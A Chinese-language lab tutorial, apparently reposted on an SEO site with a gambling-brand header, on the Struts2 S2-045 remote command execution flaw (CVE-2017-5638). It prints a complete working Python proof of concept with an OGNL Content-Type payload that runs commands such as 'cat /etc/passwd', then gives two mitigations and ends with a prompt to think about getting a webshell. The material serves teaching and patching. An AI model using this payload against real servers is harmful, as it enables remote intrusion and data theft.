必威体育Betway必威体育官网
当前位置：首页 > IT技术

【S2-045】 Struts2远程命令执行漏洞(CVE-2017-5638)

时间:2019-06-04 16:41:02来源:IT技术作者:seo实验室小编阅读:85次「手机版」
　

cve-2017-5638

实验环境

  • 操作机：windows XP

  • 目标机：centos 6.5

  • Struts版本：2.3.31

  • 请访问http://file.ichunqiu.com/74tk6wy6下载实验文件

  • 实验目的：

  • 了解S2-045 struts2远程命令执行漏洞危害

  • 掌握检测修复S2-045 Struts2远程命令执行漏洞技术

    实验文件：

  • poc.exe：本次实验漏洞验证的POC源码

  • SecurityFilter.class：本次实验漏洞修复脚本

实验内容

Struts

Struts是Apache基金会的一个开源项目，Struts通过采用java Servlet/jsp技术，实现了基于Java EE Web应用的Model-View-controller(MVC)设计模式的应用框架，是MVC经典设计模式中的一个经典产品。

目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网站开发的底层模板使用，是应用最广泛的Web应用框架之一。

漏洞介绍

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号cve-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。

恶意用户可在上传文件时通过修改HTTP请求头中的content-Type值来触发该漏洞，进而执行系统命令。

影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

不受影响的版本

Struts 2.3.32 Struts 2.5.10.1

快速检测方式

使用知道创宇SeeBug照妖镜可以直接检测站点是否存在本漏洞

漏洞危害

在default.properties文件中，struts.multipart.parser的值有两个选择，分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的，所以该漏洞的严重性需要得到正视。

恶意访问者可通过远程命令注入执行，令系统执行恶意命令，导致被黑客入侵，从而威胁服务器安全，影响极大。

实验步骤

快速查找实验工具

  • 打开桌面 Everything 搜索工具，输入实验工具名称，右击选择“打开路径”，跳转实验工具所在位置。
  • 以查找Burp为例为大家演示。

Alt text

小i提示：

  • 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实验结果。

  • 在实验环境中无法连接互联网，请使用您本地的网络环境。

  • 在本次实验中所使用的ssh连接工具和文件传输工具不唯一，请根据自身情况选则工具。

步骤1：验证漏洞

打开目标网站:http://172.16.12.2/

发现跳转链接到http://172.16.12.2/example/HelloWorld.action

小i提示:

请访问http://file.ichunqiu.com/74tk6wy6下载实验文件 已编译好的POC执行程序在实验文件中

#! /usr/bin/env Python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    if len(sys.argv) < 3:
        print '''Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command"'''
        sys.exit()
    register_openers()
    datagen, header = multipart_encode({"image": open("tmp.txt", "w+")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) APPleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]context@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.actioncontext.container']).(#ognlUtil=#container.getinstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv[2])+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.Processbuilder(#cmds)).(#p.redirectERRORStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getresponse().getoutputstream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

在该实验环境中为Python打包程序，poc.exe，使用该工具对目标地址进行测试：

打开cmd，切到poc.exe的目录下，执行下面命令：

poc.exe http://172.16.12.2/example/HelloWorld.action "ifconfig"

测试该网站是否存在S2-045漏洞，尝试执行系统命令ifconfig，结果如下：

Alt text

成功执行，证明漏洞存在，成功后可以尝试利用漏洞执行其他命令。

步骤2：临时修复方案一

修改Struts2的Multipart parser

使用搜索工具搜索ssh连接工具xshell5连接目标机172.16.12.2，用户名root，密码123456

修改配置文件

将struts2-core-2.3.31.jar路径：/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/下载到本地桌面，修改文件扩展名为struts2-core-2.3.31.zip,将其解压到struts2-core-2.3.31文件夹中，打开里面的文件夹org\apache\struts2

右击目录下的default.properties文件，使用notepad++进行编辑。

找到struts.multipart.parser，该选项就是Struts2的Multipart parser应用配置，默认值为jakarta，即此次出现命令执行漏洞的上传框架。

将其修改为pell，相当于将存在漏洞的jakarta框架禁用了。

修改后值struts.multipart.parser=pell，保存，退出。

注意在行首不能存在注释符 # 号

Alt text

重新打包jar文件

在struts2-core-2.3.31文件夹中全部选中，压缩打包为zip格式，文件名：struts2-core-2.3.31.jar

Alt text

替换jar文件

使用工具Xftp，将/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/路径下的struts2-core-2.3.31.jar移动到根目录/，将我们修改配置后重新打包的jar文件放到该目录下。

重启tomcat

替换文件后需要重启tomcat服务，切换到/var/www/apache-tomcat-7.0.14/bin/目录下，首先执行./shutdown.sh，然后执行./startup.sh

重启tomcat服务会有15秒左右的延时

验证漏洞 执行下面命令：

poc.exe http://172.16.12.2/example/HelloWorld.action "cat /etc/passwd"

Alt text

poc程序已经无法成功利用了。

步骤3：临时修复方案二

还原修复方案二环境 在xshell下 执行命令

mv -f /struts-core-2.3.31.jar  /var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/

将修复方案所修改的配置文件还原。

添加拦截器

此次 S2-045 漏洞触发点为Content-TypeHTTP头字段，故此可以添加action拦截器，过滤非法请求。

拦截类SecurityFilter.java代码

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.filterconfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

        /**
         * 
         */
        private static final long serialversionuid = 1L;


        public final String www_url_encode= "application/x-www-form-urlencoded";
        public final String mul_data= "multipart/form-data ";
        public final String txt_pla= "text/plain";

        public void doFilter(ServletRequest arg0, ServletResponse arg1,
                        FilterChain arg2) throws IOException, ServletException {

                HttpServletRequest request = (HttpServletRequest) arg0;
                HttpServletResponse response = (HttpServletResponse) arg1;

                String contenType=request.getHeader("conTent-type");

                if(contenType!=null&&!contenType.equals("")&&!contenType.equalsignorecase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){

                        response.setcontenttype("text/html;charset=UTF-8");
                        response.getWriter().write("非法请求Content-Type！");
                        return;
                }
                arg2.doFilter(request, response);
        }

        public void init(FilterConfig arg0) throws ServletException {

        }

}

将SecurityFilter.java文件编译为SecurityFilter.class，放入服务器路径为：/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/classes/

修改web.xml(/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/web.xml)使得添加的拦截器生效

添加代码：

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

Alt text

保存web.xml

重启tomcat

替换文件后需要重启tomcat服务，切换到/var/www/apache-tomcat-7.0.14/bin/目录下，首先执行./shutdown.sh，然后执行./startup.sh

重启tomcat服务会有5秒左右的延时

验证漏洞 执行下面命令：

poc.exe http://172.16.12.2/example/HelloWorld.action "cat /etc/passwd"

Alt text

服务端拦截了poc程序的恶意请求。

步骤4：主动防御方案

如业务系统比较复杂，以上临时修复方案不能使用时，且无法轻易的升级struts的版本时，可以使用知道创宇的创宇盾来拦截网络的流量。

实验结果分析与总结

本实验中提供了两个临时解决方案，经实验证明，poc代码已经无法正常获取到服务端数据。

如果正在使用基于Jakarta的文件上传Multipart解析器，请升级到Apache Struts 2.3.32或2.5.10.1版；

思考题

根据poc代码，思考如何去拿到网站的WebShell？

相关阅读

网站漏洞渗透检测过程与修复方案

什么是网站渗透测试？ 该如何做网站安全检测网站的渗透测试简单来 说就是模拟攻击者的手法以及攻击手段去测试网站的漏洞，对网站进行

深入解析sprintf格式化字符串漏洞

深入解析sprintf格式化字符串漏洞 0x00 前言 从相遇到相识 从相识到相知 ......... 不过你真的懂ta吗 这次故事的主角是PHP中的

Metasploit利用MS08-067漏洞

环境 攻击机器：ubuntu 18.04被攻击机器：windows xp sp2 可能使用的工具 metasploitnessusnmap等 正文 首先搭建所需要的靶机环境

苹果手机FaceTime出现隐私漏洞：官方关停视频功能

A5创业网（公众号：iadmin5）1月30日报道，近日不少媒体曝出了苹果iPhone手机中的FaceTime功能出现了隐私漏洞，当用户在使用该功能时，可以在

网站漏洞中的渗透测试详情

最近忙于工作没有抽出时间来分享渗透测试文章,索性今天由我们Sinesafe的高级渗透大牛给大家详细讲下主要在业务中发现逻辑和越权

赞()
分享到:

猜你喜欢

栏目导航

推荐阅读

热门阅读

seo实验室提供seo优化服务，有网站优化、网站建设、运营推广等需求请联系我们!
Copyright © 2001-2017 .seo实验室 版权所有 网站地图